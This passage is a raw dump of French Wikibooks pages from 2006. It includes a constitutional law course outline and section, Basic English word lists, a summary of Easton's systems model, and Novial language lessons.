polynôme|Fonction polynôme]] * [[w:Relation d'ordre|Relation d'ordre]] * [[w:Vecteur|Vecteur]] ** [[w:Produit scalaire|Produit scalaire]] ** [[w:Vecteur colonne|Vecteur colonne]] ** [[w:Vecteur ligne|Vecteur ligne]] == Notes == <references /> ---- ''[[Découvrir Scilab Interface|Interface]]'' &lt; [[Découvrir Scilab|↑]] &gt; ''[[Découvrir Scilab Calcul numérique|Calcul numérique]]'' Droit constitutionnel 8367 42756 2006-05-18T17:29:54Z Erasoft24 1543 création, début du plan = Théorie générale du droit constitutionnel = == [[Droit constitutionnel:Introduction|Introduction]] == L'introduction a pour but de présenter la matière du droit constitutionnel. == La Constitution de l'État == Cette première partie étudie d'abord les origines, les fondements de l'idée de Constitution et la valeur de celle-ci, notamment par le prisme d'une justice constitutionnelle qui ne s'est imposée que récemment. :'''[[Droit constitutionnel:La Constitution|La Constitution]]''' ::La Constitution comme norme ::La Constitution dans la hiérarchie des normes :'''[[Droit constitutionnel:La justice constitutionnelle|La justice constitutionnelle]]''' ::L'organisation de la justice constitutionnelle ::Le fonctionnement de la justice constitutionnelle == L'État constitutionnel == Cette seconde partie étudie les effets de la Constitution dans l'association qu'elle institue : l'État. La Constitution le définit et lui donne sa forme, et répartie en son sein les pouvoirs publics. :'''[[Droit constitutionnel:L'État|L'État]]''' :: La notion d'État :: Les formes de l'État :'''[[Droit constitutionnel:Le pouvoir dans l'État|Le pouvoir dans l'État]]''' ::Les titulaires du pouvoir ::La séparation des pouvoirs [[Catégorie:Droit]] Cours de premier cycle universitaire (L1-L2) 8368 42757 2006-05-18T17:33:05Z 196.203.40.187 Mecanique Electromagnetisme Optique thermodynamique Droit constitutionnel:La Constitution 8369 42761 2006-05-18T18:58:41Z Erasoft24 1543 <small>^ [[Droit constitutionnel]] < [[Droit constitutionnel:Introduction|Introduction]]<small> <center>Section I</center> == <center>La Constitution comme norme</center> == === Les définitions traditionnelles de la Constitution === Plusieurs conceptions de la Constitution sont possibles. 2 paraissent les plus importantes. * conception matérielle : définir la Constitution par son contenu, par les matières sur lesquelles elles portent * conception formelle : formes et procédures d’adaptation de la norme fondamentale Ces 2 concepts sont souvent opposés alors qu’en réalité ils sont complémentaires. ==== La conception matérielle de la Constitution ==== De manière classique, on définit une constitution par le fait qu’elle fixe les règles principales de gouvernement d’une nation. Cette conception matérielle est celle que l’on retrouve encore au XVII° s, et même au XX° s. Le doyen HAURIOU a pu définir la Constitution comme l’ensemble des règles politiques régissant le statut du pouvoir dans l’Etat. G. BURDEAU définissait la Constitution comme l’ensemble des règles juridiques selon lesquelles s’établit, se transmet et s’exerce le pouvoir politique. Pour le doyen VEDEL, la Constitution est l’ensemble des règles les plus importantes pour l’état, c'est-à-dire celles qui déterminent la forme même de l’état, la forme de son gouvernement. Un point commun relie ces 3 définitions : la Constitution est essentiellement définie par son objet. Cependant, elles ne rendent plus compte du contenu des constitutions dites « modernes ». En effet, on trouve aujourd’hui dans une constitution non seulement des règles liées au fonctionnement des pouvoirs publics, mais aussi des règles relatives aux normes, et en particulier – ce qui aujourd’hui a pris une importance considérable – aux normes locales, ainsi que des règles relatives aux droits fondamentaux. En outre, certaines constitutions contiennent des normes purement programmatiques ou symboliques, ce qui démontre bien qu’à lui seul le critère matériel est suffisant. ==== Les caractéristiques formelles des constitutions ==== ===== La différence entre constitution écrite et constitution coutumière ===== On parle d’une constitution écrite lorsque les règles fondamentales d’un état sont inscrites dans un document dont la valeur juridique est considérée comme supérieure à celles des autres règles juridiques, applicables dans un état donné. Ce texte se déclare lui-même comme suprême, peu importe la dénomination du document (constitution, loi fondamentale, charte, déclaration). Ce qui importe, c’est la valeur juridique du texte. A l’inverse, une constitution coutumière correspond à un ensemble de règles juridiques qui, progressivement, ont été perçus comme supérieurs, sans toutefois avoir été écrit dans un document unique (Constitution du Royaume de France). En Grande-Bretagne, aujourd’hui encore, il existerait une constitution coutumière composée de règles encadrant l’action du parlement. La plus ancienne de ces règles remonte au début du XIII° s, le plus récent est le « Newman Rights Act » de 1998 - qui incorpore dans le droit britannique la Convention Européenne des Droits de l’Homme. 2 facteurs influencent le choix entre ces constitutions : * '''le système de droit applicable''' En Europe Continentale, le système de droit romano-germanique repose sur une tradition de droit écrit, alors qu’à l’inverse, la Grande-Bretagne est sous une tradition de « Common Law » qui repose essentiellement sur la règle du précédent : c’est le juge qui, au fil des affaires qu’il va connaître, va créer le droit. * '''l’idée de l’origine du droit''' Lorsque l’on adopte une constitution écrite, c’est parce que l’on accorde du crédit à l’idée que le droit doit être posé, c'est-à-dire que les règles juridiques dans un état donné constitue du droit positif (droit fait par la volonté des peuples ou de leurs représentants). Dans cette hypothèse, rédiger une constitution écrite, c’est simplement exprimer au plus haut niveau la volonté du peuple. A l’inverse, si l’on conçoit le droit comme la projection d’un ordre naturel établi par Dieu, c'est-à-dire émane du droit naturel , alors il n’est pas utile d’adopter une constitution écrite. Cette division entre constitution écrite et constitution coutumière doit être relativisée. Les constitutions coutumières sont de plus en plus rares, et même l’exemple britannique prête à discussion. En effet, la Constitution coutumière britannique est plutôt aujourd’hui constituée par un ensemble disparate de règles écrites, la question étant plutôt de savoir s’il ne faudrait pas les codifier, les rassembler. Il s’agit d’ailleurs d’un débat actuel en Grande-Bretagne, ravivé avec la perspective d’une constitution pour l’Europe, mais aujourd’hui abandonnée. D’autre part, on constate à l’inverse que, même s’agissant des constitutions écrites, on voit apparaître des éléments coutumiers, c'est-à-dire des pratiques constitutionnels qui se répètent et sont perçus comme créant des obligations juridiques. Un auteur français, P. AVRIL, parle à propos de ces pratiques de « convention de la Constitution » qui sont d’interpréter dans la Constitution, et qui à force de se répéter finissent par être considérées comme de véritables normes juridiques. Par exemple, en France, il est prévu que le Conseil Constitutionnel contrôle la conformité des lois par-rapport à la Constitution à un moment très précis, juste après le vote de la loi par le Parlement, juste avant sa promulgation par le Président de la République. Si toutefois le Président promulgue la loi très rapidement après son vote par le Parlement, aucun contrôle de constitutionnalité n’est possible. C’est la raison pour laquelle une pratique constitutionnelle s’est instaurée, qui consiste pour le Président de la République à attendre avant de promulguer la loi, afin de vérifier que celle-ci ne sera pas frappée d’un recours en inconstitutionnalité. 2. La distinction entre constitution rigide et constitution souple Une Constitution rigide est une constitution dont les modifications sont entourées de conditions spécifiques. Plus précisément, c’est un texte qui ne peut être révisé ou chargé dans les mêmes conditions qu’une loi ordinaire. Bien sûr, cela ne signifie pas qu’une constitution rigide ne peut jamais être modifiée, cela veut dire qu’elle doit se conformer à des mesures particulières. La Constitution du 4 octobre 1958 est généralement présentée comme une constitution rigide, puisque sa révision suppose une intervention du peuple, par référendum : c’est la procédure normale de révision de la Constitution (définie par l’article 89). Cette constitution a été originellement adoptée par référendum, et ce que le peuple à fait, le peuple peut le défaire ou le refaire. Cette idée simple s’appelle en droit le principe de parallélisme des formes. Il existe aussi une procédure abrégée, plus rapide : c’est le recours au Congrès, qui est en droit constitutionnel français une instance particulière. Il s’agit de la réunion des 2 chambres – Assemblée Nationale et Sénat – au fin de réviser la Constitution. Le vote de cette instance s’exerce selon des modalités qui lui sont propres, l’article 89 prévoyant que la révision constitutionnelle n’est définitive que si elle recueille3/5 des suffrages exprimés au sein du Congrès. La rigidité de la Constitution est déterminante, parce qu’elle permet de mesurer la différence entre la Constitution et les lois ordinaires. C’est cette différence qui permet de justifier le contrôle de conformité des lois ordinaires par la Constitution ; elle est la raison de sa supériorité. D’autre part, une constitution souple est un texte qui peut être modifié par un simple vote du Parlement, ce qui implique que la distinction entre loi ordinaire et la Constitution est impossible. Parmi les exemples de constitution souples, on peur noter la Constitution coutumière britannique, puisque les éléments qui forment la Constitution en Grande-Bretagne n’ont qu’une valeur législative. Il en résulte qu’un simple vote du Parlement britannique peut modifier ces éléments considérés comme constitutionnels. En toute hypothèse, cette absence de différenciation implique l’impossibilité de contrôler les lois ordinaires par-rapport aux règles constitutionnelles. <center>Section II</center> == <center>La Constitution dans la hiérarchie des normes</center> == [[Catégorie:Droit constitutionnel]] Catégorie:Droit constitutionnel 8370 42760 2006-05-18T17:35:33Z Erasoft24 1543 [[Catégorie:Droit]] Enseignement du British American Scientific International Commercial English 8371 42770 2006-05-19T05:21:40Z Mly 1518 [[Enseignement du British American Scientific International Commercial English]] déplacé vers [[Basic English]]: titre non représentatif #REDIRECT [[Basic English]] Word List 8372 42779 2006-05-19T05:39:31Z Mly 1518 === Operations - 100 words === come, get, give, go, keep, let, make, put, seem, take, be, do, have, say, see, send, may, will, about, across, after, against, among, at, before, between, by, down, from, in, off, on, over, through, to, under, up, with, as, for, of, till, than, a , the, all, any, every, little, much, no, other, some, such, that, this, I , he, you, who, and, because, but, or, if, though, while, how, when, where, why, again, ever, far, forward, here, near, now, out, still, then, there, together, well, almost, enough, even, not, only, quite, so, very, tomorrow, yesterday, north, south, east, west, please, yes . === Things - 400 generals words === account, act, addition, adjustment, advertisement, agreement, air, amount, amusement, animal, answer, apparatus, approval, argument, art, attack, attempt, attention, attraction, authority, back, balance, base, behavior, belief, birth, bit, bite, blood, blow, body, brass, bread, breath, brother, building, burn, burst, business, butter, canvas, care, cause, chalk, chance, change, cloth, coal, color, comfort, committee, company, comparison, competition, condition, connection, control, cook, copper, copy, cork, cotton, cough, country, cover, crack, credit, crime, crush, cry ,current, curve, damage, danger, daughter, day, death, debt, decision, degree, design, desire, destruction, detail, development, digestion, direction, discovery, discussion, disease, disgust, distance, distribution, division, doubt, drink, driving, dust, earth, edge, education, effect, end, error, event, example, exchange, existence, expansion, experience, expert, fact, fall, family, father, fear, feeling, fiction, field, fight, fire, flame, flight, flower, fold, food, force, form, friend, front, fruit, glass, gold, government, grain, grass, grip, group, growth, guide, harbor, harmony, hate, hearing, heat, help, history, hole, hope, hour, humor, ice, idea, impulse, increase, industry, ink, insect, instrument, insurance, interest, invention, iron, jelly, join, journey, judge, jump, kick, kiss, knowledge, land, language, laugh, law, lead, learning, leather, letter, level, lift, light, limit, linen, liquid, list, look, loss, love, machine, man, manager, mark, market, mass, meal, measure, meat, meeting, memory, metal, middle, milk, mind, mine, minute, mist, money, month, morning ,mother, motion, mountain, move, music, name, nation, need, news, night, noise, note, number, observation, offer, oil, operation, opinion, order, organization, ornament, owner, page, pain, paint, paper, part, paste, payment, peace, person, place, plant, play, pleasure, point, poison, polish, porter, position, powder, power, price, print, process, produce, profit, property, prose, protest, pull, punishment, purpose, push, quality, question, rain, range, rate, ray, reaction, reading, reason, record, regret, relation, religion, representative, request, respect, rest, reward, rhythm, rice, river, road, roll, room, rub, rule, run, salt, sand, scale, science, sea seat, secretary, selection, self, sense, servant, sex, shade, shake, shame, shock, side, sign, silk, silver, sister, size, sky, sleep, slip, slope, smash, smell, smile, smoke, sneeze, snow, soap, society, son, song, sort, sound, soup, space, stage, start, statement, steam, steel, step, stitch, stone, stop, story, stretch, structure substance sugar, suggestion, summer, support, surprise, swim, system, talk, taste, tax, teaching, tendency, test, theory, thing, thought, thunder, time, tin, top, touch, trade, transport, trick, trouble, turn, twist, unit, use, value, verse, vessel, view, voice, walk, war, wash, waste, water, wave, wax, way, weather, week, weight, wind, wine, winter, woman, wood, wool, word, work, wound, writing , year . === Things - 200 picturable words === angle, ant, apple, arch, arm, army, baby, bag, ball, band, basin, basket, bath, bed, bee, bell, berry, bird, blade, board, boat, bone, book, boot, bottle, box, boy, brain, brake, branch, brick, bridge, brush, bucket, bulb, button, cake, camera, card, cart, carriage, cat, chain, cheese, chest, chin, church, circle, clock, cloud, coat, collar, comb, cord, cow, cup, curtain, cushion, dog, door, drain, drawer, dress, drop, ear, egg, engine, eye, face, farm, feather, finger, fish, flag, floor, fly, foot, fork, fowl, frame, garden, girl, glove, goat, gun, hair, hammer, hand, hat, head, heart, hook, horn, horse, hospital, house, island, jewel, kettle, key, knee, knife, knot, leaf, leg, library, line, lip, lock, map, match, monkey, moon, mouth, muscle, nail, neck, needle, nerve, net, nose, nut, office, orange, oven, parcel, pen, pencil, picture, pig, pin, pipe, plane, plate, plough/plow, pocket, pot, potato, prison, pump, rail, rat, receipt, ring, rod, roof, root, sail, school, scissors, screw, seed, sheep, shelf, ship, shirt, shoe, skin, skirt, snake, sock, spade, sponge, spoon, spring, square, stamp, star, station, stem, stick, stocking, stomach, store, street, sun, table, tail, thread, throat, thumb, ticket, toe, tongue, tooth, town, train, tray, tree, trousers, umbrella, wall, watch, wheel, whip, whistle, window, wing, wire, worm . === Qualities - 100 general === able, acid, angry, automatic, beautiful, black, boiling, bright, broken, brown, cheap, chemical, chief, clean, clear, common, complex, conscious, cut, deep, dependent, early, elastic, electric, equal, fat, fertile, first, fixed, flat, free, frequent, full, general, good, great, grey/gray, hanging, happy, hard, healthy, high, hollow, important, kind, like, living, long, male, married, material, medical, military, natural, necessary, new, normal, open, parallel, past, physical, political, poor, possible, present, private, probable, quick, quiet, ready, red, regular, responsible, right, round, same, second, separate, serious, sharp, smooth, sticky, stiff, straight, strong, sudden, sweet, tall, thick, tight, tired, true, violent, waiting, warm, wet, wide, wise, yellow, young . ===Qualities - 50 opposites === awake, bad, bent, bitter, blue, certain, cold, complete, cruel, dark, dead, dear, delicate, different, dirty, dry, false, feeble, female, foolish, future, green, ill, last, late, left, loose, loud, low, mixed, narrow, old, opposite, public, rough, sad, safe, secret, short, shut, simple, slow, small, soft, solid, special, strange, thin, white, wrong . [[Basic English|retour au sommaire]] Word List - Alphabetic 8373 42783 2006-05-19T05:45:28Z Mly 1518 ===A=== a , able , about , account , acid , across , act , addition , adjustment , advertisement , agreement , after , again , against , air , all , almost , among , amount , amusement , and , angle , angry , animal , answer , ant , any , apparatus , apple , approval , arch , argument , arm , army, art , as , at , attack , attempt , attention , attraction , authority , automatic , awake . ===B=== baby , back , bad , bag , balance , ball , band , base , basin , basket , bath , be , beautiful , because , bed , bee , before , behavior , belief , bell , bent , berry , between , bird , birth , bit , bite , bitter , black , blade , blood , blow , blue , board , boat , body , boiling , bone , book , boot , bottle , box , boy , brain , brake , branch , brass , bread , breath , brick , bridge , bright , broken , brother , brown , brush , bucket , building , bulb , burn , burst , business , but , butter , button , by . ===C=== cake , camera , canvas , card , care , carriage , cart , cat , cause , certain , chain , chalk , chance , change , cheap , cheese , chemical , chest , chief , chin , church , circle , clean , clear , clock , cloth , cloud , coal , coat , cold , collar , color , comb , come , comfort , committee , common , company , comparison , competition , complete , complex , condition , connection , conscious , control , cook , copper , copy , cord , cork , cotton , cough , country , cover , cow , crack , credit , crime , cruel , crush , cry , cup , current , curtain , curve , cushion , cut . ===D=== damage , danger , dark , daughter , day , dead , dear , death , debt , decision , deep , degree , delicate , dependent , design , desire , destruction , detail , development , different , digestion , direction , dirty , discovery , discussion , disease , disgust , distance , distribution , division , do , dog , door , doubt , down , drain , drawer , dress , drink , driving , drop , dry , dust . ===E=== ear , early , earth , east , edge , education , effect , egg , elastic , electric , end , engine , enough , equal , error , even , event , ever , every , example , exchange , existence , expansion , experience , expert , eye . ===F=== face , fact , fall , false , family , far , farm , fat , father , fear , feather , feeble , feeling , female , fertile , fiction , field , fight , finger , fire , first , fish , fixed , flag , flame , flat , flight , floor , flower , fly , fold , food , foolish , foot , for , force , fork , form , forward , fowl , frame , free , frequent , friend , from , front , fruit , full , future . ===G=== garden , general , get , girl , give , glass , glove , go , goat , gold , good , government , grain , grass , great , green , grey/gray , grip , group , growth , guide , gun . ===H=== hair , hammer , hand , hanging , happy , harbor , hard , harmony , hat , hate , have , he , head , healthy , hearing , heart , heat , help , here , high , history , hole , hollow , hook , hope , horn , horse , hospital , hour , house , how , humor . ===I=== I , ice , idea , if , ill , important , impulse , in , increase , industry , ink , insect , instrument , insurance , interest , invention , iron , island . ===J=== jelly , jewel , join , journey , judge , jump . ===K=== keep , kettle , key , kick , kind , kiss , knee , knife , knot , knowledge . ===L=== land , language , last , late , laugh , law , lead , leaf , learning , leather, left , leg , let , letter , level , library , lift , light , like , limit , line , linen , lip , liquid , list , little (less ,least) , living , lock , long , loose , loss , loud , love , low . ===M=== machine , make , male , man , manager , map , mark , market , married , match , material , mass , may , meal , measure , meat , medical , meeting , memory , metal , middle , military , milk , mind , mine , minute , mist , mixed , money , monkey , month , moon , morning , mother , motion , mountain , mouth , move , much (more, most) , muscle , music . ===N=== nail , name , narrow , nation , natural , near , necessary , neck , need , needle , nerve , net , new , news , night , no , noise , normal , north , nose , not , note , now , number , nut . ===O=== observation , of , off , offer , office , oil , old , on , only , open , operation , opinion , opposite , or , orange , order , organization , ornament , other , out , oven , over , owner. ===P=== page , pain , paint , paper , parallel , parcel , part , past , paste , payment , peace , pen , pencil , person , physical , picture , pig , pin , pipe , place , plane , plant , plate , play , please , pleasure , plough/plow , pocket , point , poison , polish , political , poor , porter , position , possible , pot , potato , powder , power , present , price , print , prison , private , probable , process , produce , profit , property , prose , protest , public , pull , pump , punishment , purpose , push , put . ===Q=== quality , question , quick , quiet , quite . ===R=== rail , rain , range , rat , rate , ray , reaction , red , reading , ready , reason , receipt , record , regret , regular , relation , religion , representative , request , respect , responsible , rest , reward , rhythm , rice , right , ring , river , road , rod , roll , roof , room , root , rough , round , rub , rule , run . ===S=== sad , safe , sail , salt , same , sand , say , scale , school , science , scissors , screw , sea , seat , second , secret , secretary , see , seed , selection , self , send , seem , sense , separate , serious , servant , sex , shade , shake , shame , sharp , sheep , shelf , ship , shirt , shock , shoe , short , shut , side , sign , silk , silver , simple , sister , size , skin , skirt , sky , sleep , slip , slope , slow , small , smash , smell , smile , smoke , smooth , snake , sneeze , snow , so , soap , society , sock , soft , solid , some , son , song , sort , sound , south , soup , space , spade , special , sponge , spoon , spring , square , stamp , stage , star , start , statement , station , steam , stem , steel , step , stick , sticky , still , stitch , stocking , stomach , stone , stop , store , story , strange , street , stretch , stiff , straight , strong , structure , substance , sugar , suggestion , summer , support , surprise , such , sudden , sun , sweet , swim , system . ===T=== table , tail , take , talk , tall , taste , tax , teaching , tendency , test , than , that , the , then , theory , there , thick , thin , thing , this , though , thought , thread , throat , through , thumb , thunder , ticket , tight , till , time , tin , tired , to , toe , together , tomorrow , tongue , tooth , top , touch , town , trade , train , transport , tray , tree , trick , trouble , trousers , true , turn , twist . ===U=== umbrella , under , unit , up , use . ===V=== value , verse , very , vessel , view , violent , voice . ===W=== waiting , walk , wall , war , warm , wash , waste , watch , water , wave , wax , way , weather , week , weight , well , west , wet , wheel , when , where , while , whip , whistle , white , who , why , wide , will , wind , window , wine , wing , winter , wire , wise , with , woman , wood , wool , word , work , worm , wound , writing , wrong . ===X , Y , Z=== year , yellow , yes , yesterday , you , young . [[Basic English|retour au sommaire]] Word List - Categories 8374 42786 2006-05-19T05:54:18Z Mly 1518 ===Color / Visual=== see look color dark light beautiful shade. black blue brown clear gray green orange red yellow white. ===Direction=== about across after against among at between by in with through forward here over under up down on off with direction distance. north south east west left right front back high low far near. ===Time=== about after at before between till while when again ever now still tomorrow yesterday second minute day week month year fall spring winter summer night time clock first second last morning night early late slow quick ===Animals=== animal ant bee bird cat cow dog egg fish fly fowl goat horse insect monkey pig rat sheep snake sponge worm silk worm ===Food and Drink=== apple berry bread butter cake cheese drink egg food fish fruit grain meal meat milk nut orange potato rice root salt seed soup sugar water wine International : alcohol , beef , beer , champagne, chocolate, citron , coffee ,cocktail , cognac , liqueur , macaroni , olive , omelet , rum , salad , sardine , tapioca , tea , toast , vanila , vodka , whisky . ===Household=== building bread butter canvas cloth coal cook drink family food linen meal meat milk money play rice room silk sleep soup step sugar vessel walk wash wine wool basket bath bed bell blade board book boot bottle box brick brush bucket bulb button cake camera card cart carriage chain cheese chest clock coat collar comb cord cup curtain cushion door drain drawer dress flag floor fork frame glove hat jewel kettle key knife knot lock map match nail needle oven parcel pen pencil picture pin pipe plate plow pot pump rail ring rod roof screw shelf shirt shoe skirt sock spade sponge spoon stamp stick stocking table thread ticket tray trousers umbrella wall watch wheel whip whistle window wire. ===Clothes=== boot button coat collar dress glove hat shirt shoe silk skirt sock stocking trousers umbrella watch. ===Tools=== band blade brush bucket cord gun hammer hook knife knot nail needle pin pipe plow pump ring rod screw spade wheel wire. ===Buildings=== bridge building church hospital house library prison school structure station store street town train wall. ===People=== baby boy daughter family father female friend girl male man married mother person relation self sister son woman. chief cook manager porter secretary servant. By adding to nouns -er : worker, roofer, etc. ===Body Parts=== arm body bone brain chest chin ear eye face fat feather finger foot hair hand head heart horn knee leg lip mind mouth muscle neck nerve nose skin stomach tail throat thumb toe tongue tooth wing. ===Materials=== brass copper glass gold iron leather material metal silver steel tin tree. brick canvas cloth coal linen silk wool. ===Transport=== boat bridge carriage flight harbor sail sea train transport plane rail river road wheel whistle. ===Business / Industry=== agreement business committee company competition credit debt development distribution division exchange expansion growth harbor industry instrument interest invention market manager money office oil operation owner payment plant produce profit system trade transport ===Education=== art authority chalk development direction education encylopedia growth history ink language law learning letter music news paint paper paste pen pencil reading reason religion rule say science school scissors square stamp talk teaching test theory thought word writing ===Political=== act agreement authority committee control country crime debt decision discussion distribution division education government history judge language law meeting nation office order organization political power property protest punishment record religion representative secretary society tax ===War=== army attack boat company control country crush damage death destruction division earth effect event fight fire flame general gun light force harbor land map military operation order organization peace plane position powder power push range river road sea smash support vessel war ===Agriculture / Nature=== air animal cheese cloud cotton dust earth field farm fruit garden grain growth ice land leaf leather meat milk mist moon mountain natural nut plant plow price process produce rain range rice river road salt sand seed sky slope snow spade star stream sun thunder water weather wind. ===Mathematics=== Algebra : addition, amount, division, greater, less, number, power, product, root, times Geometry : angle, arch, ball, circle, cord, curve, line, plane, point, square, solid, square [[Basic English|retour au sommaire]] Words in Pictures 8375 42792 2006-05-19T06:37:18Z Mly 1518 ===Colors=== <gallery> Image:Solid black.png|Black Image:Solid blue.png|Blue Image:Solid_gray.png|Grey Image:Solid_green.png|Green Image:Solid_orange.png|Orange Image:Solid_red.png|Red Image:Solid_yellow.png |Yellow Image:Solid_white.png |White </gallery> ===Animals=== <gallery> Image:Ragfish.png |Fish Image:Apis_mellifera_bi.jpg|Bee Image:Blue_Tit_aka.jpg|Bird Image:Cat03.jpg|Cat Image:Black_and_white_cow_feeding.jpg|Cow Image:Dog_retrieving_stick.jpg|Dog Image:A_Fly_by_Matthias_Zimmermann.jpg |Fly Image:Billy_goat.jpg|Goat Image:Mangalarga_Marchador.jpg|Horse Image:Olive_baboon.jpg|Monkey Image:Sow_with_piglet.jpg|Pig Image:Rattus_norvegicus.jpg|Rat Image:Lleyn_sheep.jpg|Sheep Image:Anaconda_jaune_34.JPG|Snake Image:Earth-worm_1.jpg|Worm </gallery> [[Basic English|retour au sommaire]] Systémique 8378 42819 2006-05-19T16:36:31Z 24.200.105.225 Modèle d'analyse du systeme politique créer par David Easton, un professeur de l'université au États-Unis, d'origine canadienne. -D'abord, il y a un environnement soit économique, culturel ou social. C'est les gens de la société, sous toute les couches. -Les entrées ou «inputs», qui sont des demandes d'information de l'Environement a des institution , et qui sont appuyer par du soutien qui est la force des demandes. -Les institutions de réduction, ce sont les parti politique, les groupes de pression et les médias qui traite les demandes pour les classer et empêcher le ralentissement du système politique. -Le système politique, que Easton surnome «boite noire» qui est en faite les 4 secteurs qui traitent les «inputs», soit l'exécutif, le législatif , le judiciaire et l'adoministratif. -Les sorties ou «output», qui sont le résultats et la solution donner par le système politique, il auront la forme de lois ou de politique publique. -La rétroaction, qui est la réaction de l'environnement face au sorties ou «output». Cela fait une boucle continuelle dans le modèle de Easton, à l'occasion il se peut que le modèle saute certain étape si dans un conflit, l'autorité, qui est le gouvernement, force la prise de solution, même si elle ne satifait pas toute les groupes. Enseignement du novial 8380 42924 2006-05-21T09:09:00Z 213.173.146.229 [[Image:novflag.png|100px|right|Novial flag]] '''[[w:Novial|Novial]]''' [''nov-'', nouveau + IAL, langue internationale auxiliaire] est une [[w:langue construite|langue construite]], créée par [[w:Otto Jespersen|Otto Jespersen]], un [[w:linguistique|linguiste]] [[w:Danemark|danois]] qui précédemment supportait le mouvement pour la langue [[w:ido|ido]]. Il l'a construit comme une [[w:langue internationale|langue internationale]] auxiliaire, qui faciliterait la communication et l'amitié entre les divers peuples du monde, sans remplacer leurs langues maternelles. Son vocabulaire est basé sur les langues des [[w:langue germanique|langues germaniques]] et [[w:langue romane|romanes]], et sa grammaire est basée sur celle de l'anglais. ==Méthode de Novial== [[Novial_:_Lektione 1|Lektione 1]] [[Image:100%.png]] [[Novial_:_Lektione 2|Lektione 2]] [[Image:100%.png]] [[Novial_:_Lektione 3|Lektione 3]] [[Image:100%.png]] [[Novial_:_Lektione 4|Lektione 4]] [[Image:100%.png]] [[Novial_:_Lektione 5|Lektione 5]] [[Image:100%.png]] [[Novial_:_Lektione 6|Lektione 6]] [[Image:100%.png]] [[Novial_:_Lektione 7|Lektione 7]] [[Image:100%.png]] [[Novial_:_Lektione 8|Lektione 8]] [[Novial_:_Lektione 9|Lektione 9]] [[Novial_:_Lektione 10|Lektione 10]] [[Novial_:_Lektione 11|Lektione 11]] [[Novial_:_Lektione 12|Lektione 12]] [[Novial_:_Lektione 13|Lektione 13]] [[Novial_:_Lektione 14|Lektione 14]] [[Novial_:_Lektione 15|Lektione 15]] [[Novial_:_Lektione 16|Lektione 16]] [[Novial_:_Lektione 17|Lektione 17]] [[Novial_:_Lektione 18|Lektione 18]] [[Novial_:_Lektione 19|Lektione 19]] [[Novial_:_Lektione 20|Lektione 20]] [[Novial_:_Lektione 21|Lektione 21]] [[Novial_:_Lektione 22|Lektione 22]] [[Novial_:_Lektione 23|Lektione 23]] [[Novial_:_Lektione 24|Lektione 24]] [[Novial_:_Lektione 25|Lektione 25]] [[Novial_:_Lektione 26|Lektione 26]] [[Novial_:_Lektione 27|Lektione 27]] [[Novial_:_Lektione 28|Lektione 28]] [[Novial_:_Lektione 29|Lektione 29]] [[Novial_:_Lektione 30|Lektione 30]] [[Novial_:_Lektione 31|Lektione 31]] [[Novial_:_Lektione 32|Lektione 32]] [[Novial_:_Lektione 33|Lektione 33]] [[Novial_:_Lektione 34|Lektione 34]] [[Novial_:_Lektione 35|Lektione 35]] [[Novial_:_Lektione 36|Lektione 36]] [[Novial_:_Lektione 37|Lektione 37]] [[Novial_:_Lektione 38|Lektione 38]] [[Novial_:_Lektione 39|Lektione 39]] ==Liens externes== * [http://meta.wikimedia.org/wiki/Test-wp/nov/ Novial probo Wikipedie] *[http://www.blahedo.org/novial/nl.html Novial Lexike], dictionnaire novial → anglais, français, allemand [[de:Novial]] [[en:Novial]] [[eo:Novialo]] [[pl:Novial]] [[ru:Новиаль]] [[fi:Novial]] Novial/Lektione 2 8381 42840 2006-05-20T10:17:26Z 213.173.147.43 '''Lektione 2''' Patre e fratre. Leone es animal. Rose es flore e kolombe es fogle. Li rose apartena a Teodore. Li sune brilia. Li patre es sani. Li patre es taliore. {| border= 1 cellpadding= 3 |- ! ''' patro ''' || père |- ! ''' e ''' || et |- ! ''' fratre ''' || frère |- ! ''' leone ''' || lion |- ! ''' es ''' || être |- ! ''' animale ''' || animal |- ! ''' rose ''' || rose |- ! ''' flore ''' || fleur |- ! ''' kolombe ''' || pigeon |- ! ''' fogle ''' || oiseau |- ! ''' li ''' || article défini (le, la, les) |- ! ''' apartena ''' || appartenir |- ! ''' a ''' || à |- ! ''' sune ''' || soleil |- ! ''' brilia ''' || briller |- ! ''' san(i) ''' || sain, en santé |- ! ''' -i ''' || marque l’adjectif |- ! ''' taliore ''' || tailleur |} Novial : Lektione 2 8382 42949 2006-05-21T22:26:55Z 213.173.144.75 /* '''Lektione 2''' */ [[Image:novflag.png|100px|right|Novial flag]] <small>[[Novial_:_Lektione 1|§ 1]] - [[Novial_:_Lektione 2|§ 2]] - [[Novial_:_Lektione 3|§ 3]] - [[Novial_:_Lektione 4|§ 4]] - [[Novial_:_Lektione 5|§ 5]] - [[Novial_:_Lektione 6|§ 6]] - [[Novial_:_Lektione 7|§ 7]] - [[Novial_:_Lektione 8|§ 8]] - [[Novial_:_Lektione 9|§ 9]] - [[Novial_:_Lektione 10|§ 10]] - [[Novial_:_Lektione 11|§ 11]] - [[Novial_:_Lektione 12|§ 12]] - [[Novial_:_Lektione 13|§ 13]] - [[Novial_:_Lektione 14|§ 14]] - [[Novial_:_Lektione 15|§ 15]] - [[Novial_:_Lektione 16|§ 16]] - <small>[[Novial_:_Lektione 17|§ 17]] - [[Novial_:_Lektione 18|§ 18]] - [[Novial_:_Lektione 19|§ 19]] - [[Novial_:_Lektione 20|§ 20]] - [[Novial_:_Lektione 21|§ 21]] - [[Novial_:_Lektione 22|§ 22]] - [[Novial_:_Lektione 23|§ 23]] - [[Novial_:_Lektione 24|§ 24]] - [[Novial_:_Lektione 25|§ 25]] - [[Novial_:_Lektione 26|§ 26]] - [[Novial_:_Lektione 27|§ 27]] - [[Novial_:_Lektione 28|§ 28]] - [[Novial_:_Lektione 29|§ 29]] - [[Novial_:_Lektione 30|§ 30]] - [[Novial_:_Lektione 31|§ 31]] - <small>[[Novial_:_Lektione 32|§ 32]] - [[Novial_:_Lektione 33|§ 33]] - [[Novial_:_Lektione 34|§ 34]] - [[Novial_:_Lektione 35|§ 35]] - [[Novial_:_Lektione 36|§ 36]] - [[Novial_:_Lektione 37|§ 37]] - [[Novial_:_Lektione 38|§ 38]] - [[Novial_:_Lektione 39|§ 39]]</small> ------------------------------------------------------------------------- =='''Lektione 2'''== Patro e fratro. Leone es animale. Rose es flore e kolombe es fogle. Li rose apartena a Teodore. Li sune brilia. Li patro es sani. Li patro es taliore. {| border= 1 cellpadding= 3 |- ! ''' patro ''' || père |- ! ''' e ''' || et |- ! ''' fratro ''' || frère |- ! ''' leone ''' || lion |- ! ''' es ''' || être |- ! ''' animale ''' || animal |- ! ''' rose ''' || rose |- ! ''' flore ''' || fleur |- ! ''' kolombe ''' || pigeon 